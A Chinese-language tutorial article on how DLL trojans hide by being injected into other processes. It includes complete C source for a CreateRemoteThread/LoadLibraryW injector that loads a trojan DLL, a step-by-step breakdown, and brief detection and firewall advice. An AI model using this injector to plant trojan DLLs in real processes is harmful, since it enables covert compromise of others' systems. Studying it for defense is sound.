DLL木马的实现原理是编程者在DLL中包含木马程序代码，随后在目标主机中选择特定目标进程，以某种方式强行指定该进程调用包含木马程序的DLL，最终达到侵袭目标系统的目的。
正是DLL程序自身的特点决定了以这种形式加载木马不仅可行，而且具有良好的隐藏性：
（1）DLL程序被映射到宿主进程的地址空间中，它能够共享宿主进程的资源，并根据宿主进程在目标主机的级别非法访问相应的系统资源；
（2）DLL程序没有独立的进程地址空间，从而可以避免在目标主机中留下"蛛丝马迹"，达到隐蔽自身的目的。
DLL木马实现了"真隐藏"，我们在任务管理器中看不到木马"进程"，它完全溶进了系统的内核。与"真隐藏"对应的是"假隐藏"，"假隐藏"木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程，但是"假隐藏"木马本质上还具备独立的进程空间。"假隐藏"只适用于Windows9x的系统，对于基于WINNT的操作系统，通过服务管理器，我们可以发现系统中注册过的服务。
DLL木马注入其它进程的方法为远程线程插入。
远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后，需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间，即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL，从而实现木马对系统的侵害。
DLL木马注入程序
这里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比，我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程，而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同，它可以在另外的进程中产生线程！CreateRemoteThread有如下特点：
（1）CreateRemoteThread较CreateThread多一个参数hProcess，该参数用于指定要创建线程的远程进程，其函数原型为：
HANDLE CreateRemoteThread(
HANDLE hProcess, //远程进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
（2）线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说，我们不能想当然地自己写一个函数，并把这个函数作为远程线程的入口函数；
（3）不能把本进程的指针作为CreateRemoteThread的参数，因为本进程的内存空间与远程进程的不一样。
以下程序由作者Shotgun的DLL木马注入程序简化而得（单击此处下载，在经典书籍《Windows核心编程》中我们也可以看到类似的例子），它将d盘根目录下的troydll.dll插入到ID为4000的进程中：
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void CheckError ( int, int, char *); //出错处理函数
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId = 4000;
strcpy(lpDllFullPathName, "d:\\troydll.dll");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程，通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
}
//错误处理函数CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
}
从DLL木马注入程序的源代码中我们可以分析出DLL木马注入的一般步骤为：
（1）取得宿主进程（即要注入木马的进程）的进程ID dwRemoteProcessId；
（2）取得DLL的完全路径，并将其转换为宽字符模式pszLibFileName；
（3）利用Windows API OpenProcess打开宿主进程，应该开启下列选项：
a.PROCESS_CREATE_THREAD：允许在宿主进程中创建线程；
b.PROCESS_VM_OPERATION：允许对宿主进程中进行VM操作；
c.PROCESS_VM_WRITE：允许对宿主进程进行VM写。
（4）利用Windows API VirtualAllocEx函数在远程线程的VM中分配DLL完整路径宽字符所需的存储空间，并利用Windows API WriteProcessMemory函数将完整路径写入该存储空间；
（5）利用Windows API GetProcAddress取得Kernel32模块中LoadLibraryW函数的地址，这个函数将作为随后将启动的远程线程的入口函数；
（6）利用Windows API CreateRemoteThread启动远程线程，将LoadLibraryW的地址作为远程线程的入口函数地址，将宿主进程里被分配空间中存储的完整DLL路径作为线程入口函数的参数以另其启动指定的DLL；
（7）清理现场。
DLL木马的防治
从DLL木马的原理和一个简单的DLL木马程序中我们学到了DLL木马的工作方式，这可以帮助我们更好地理解DLL木马病毒的防治手段。
一般的木马被植入后要打开一网络端口与攻击程序通信，所以防火墙是抵御木马攻击的最好方法。防火墙可以进行数据包过滤检查，我们可以让防火墙对通讯端口进行限制，只允许系统接受几个特定端口的数据请求。这样，即使木马植入成功，攻击者也无法进入到受侵系统，防火墙把攻击者和木马分隔开来了。
对于DLL木马，一种简单的观察方法也许可以帮助用户发现之。我们查看运行进程所依赖的DLL，如果其中有一些莫名其妙的DLL，则可以断言这个进程是宿主进程，系统被植入了DLL木马。"道高一尺，魔高一丈"，现如今，DLL木马也发展到了更高的境界，它们看起来也不再"莫名其妙"。在最新的一些木马里面，开始采用了先进的DLL陷阱技术，编程者用特洛伊DLL替换已知的系统DLL。特洛伊DLL对所有的函数调用进行过滤，对于正常的调用，使用函数转发器直接转发给被替换的系统DLL；对于一些事先约定好的特殊情况，DLL会执行一些相应的操作。
[查看全文]